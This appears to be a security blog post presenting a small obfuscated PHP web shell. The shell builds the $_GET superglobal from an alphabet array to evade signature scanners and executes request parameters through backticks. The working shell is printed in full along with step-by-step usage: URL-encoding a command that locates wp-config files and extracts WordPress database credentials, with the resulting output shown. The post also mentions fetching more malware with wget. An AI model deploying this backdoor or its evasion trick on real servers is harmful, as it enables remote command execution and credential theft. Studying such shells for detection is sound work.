PHP Minishell Backticks Redux
Outline
<?php
$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
?>
<?=`$_`; ?>
Variant differences⌗
Due to the obfuscation used to hide the use of the PHP superglobal $_GET
this variant uses more code than the first version which I posted about.
$_GET instead of $_POST⌗
Instead of sending data to the PHP backdoor using a HTTP POST request - it now uses a GET request.
This means the command you want to send to the PHP backdoor will be exposed in the GET request URI parameters:
::1 - - [13/May/2021:14:33:32 -0500] "GET /test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B+%7C+head+-n+15 HTTP/1.1" 200 613 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
Obfuscation⌗
The PHP superglobal $_GET
is now obfuscated to make detection harder for signature based scanners.
The method of obfuscation is simple by just using concatenation and an alphabetic array, but it is effective:
$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
range
function is used to create an array of the uppercase letters of the alphabet
[0] => A [1] => B [2] => C [3] => D [4] => E [5] => F [6] => G [7] => H [8] => I [9] => J [10] => K [11] => L [12] => M [13] => N [14] => O [15] => P [16] => Q [17] => R [18] => S [19] => T [20] => U [21] => V [22] => W [23] => X [24] => Y [25] => Z
- Construct the GET string for the PHP superglobal
$_GET
from the previously created array values.
// $_ = $_[6].$_[4].$_[19];
// [6] => G [4] => E [19] => T
$_ = GET;
- The PHP superglobal is completed by prepending
$_
to the GET string constructed in the last step. Finally, the$_GET
parameter is set to_
- so the data being sent to the backdoor will need to be in this URI parameter.
// $_ = ${'_'.$_}['_'];
$_ = $_GET['_'];
Using the backdoor⌗
-Select the bash/sh command you want run on the web server
pwd;find ../../ -name "wp-config*" -ls -exec egrep "DB_" {} \;
-URL encode your command
pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B
-Submit a GET request to the PHP backtick minishell file (range.phtml) with the _
parameter containing the encoded command text
http://localhost/test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B
└──╼ # curl -s "http://localhost/test/range.phtml?_=pwd%3Bfind+..%2F..%2F+-name+%22wp-config%2A%22+-ls+-exec+egrep+%22DB_%22+%7B%7D+%5C%3B"
/var/www/html/test
14298411 4 -rw-r--r-- 1 www-data www-data 2884 May 13 14:28 ../../html/tmp/wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'hanowucantseeme!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
14298198 4 -rwxr-xr-x 1 www-data www-data 2913 Aug 28 2020 ../../html/tmp/wordpress/wp-config-sample.php
define( 'DB_NAME', 'database_name_here' );
define( 'DB_USER', 'username_here' );
define( 'DB_PASSWORD', 'password_here' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
...
This command uses pwd
to print out the current directory, find
to recursively search for content with the name wp-config, and finally egrep
to extract the SQL database login information from any content that was detected with the find
command.
As long as shell_exec
is not disabled by the php.ini configuration file - commands available to the PHP user should get executed.
Another commonly used command is wget
which will download additional malware from third party sources.
Sample⌗
<?php
$_ = range("A","Z");
$_ = $_[6].$_[4].$_[19];
$_ = ${'_'.$_}['_'];
?>
<?=`$_`; ?>